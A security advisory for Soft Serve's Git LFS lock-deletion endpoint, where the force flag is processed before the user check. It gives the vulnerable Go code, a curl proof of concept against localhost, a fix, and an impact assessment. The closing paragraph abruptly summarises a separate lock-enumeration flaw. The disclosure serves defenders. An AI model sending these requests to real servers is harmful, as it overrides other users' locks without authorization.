LFS Lock Force-Delete Authorization Bypass

Summary

An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.

Severity

- CWE-863: Incorrect Authorization - CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Affected Code

File: pkg/web/gitlfs.go Function: serviceLfsLocksDelete (lines 831–945) Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock

The control flow processes req.Force at line 905 before retrieving user context at line 919:

go // Line 905-916: Force delete executes immediately without authorization if req.Force { if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return // Returns here, never reaching user validation }

// Line 919: User context retrieved after force path has exited user := proto.UserFromContext(ctx)

Proof of Concept

Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).

1. User A creates a lock: bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <useratoken>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}'

2. User B deletes User A's lock using force flag: bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <userbtoken>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}'

3. Result: Lock deleted successfully with 200 OK. Expected: 403 Forbidden.

Suggested Fix

Retrieve user context and validate authorization before processing the force flag:

go user := proto.UserFromContext(ctx) if user == nil { renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{ Message: "unauthorized", }) return }

if req.Force { if !user.IsAdmin() { renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{ Message: "admin access required for force delete", }) return } if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return }

Impact

Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.

Exploitation Requirements: - Authenticated session - Write access to target repository

Consequences: - Unauthorized deletion of other users' locks - Bypass of LFS file coordination mechanisms - Potential workflow disruption in collaborative environments

Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.

Soft Serve versions 0.7.1 through 0.11.6 fail to scope Git LFS lock queries by repository, allowing authenticated users to read lock metadata from repositories they cannot access. Attackers with write access to any repository can enumerate lock IDs globally to recover locked file paths, usernames, and lock timestamps from private repositories.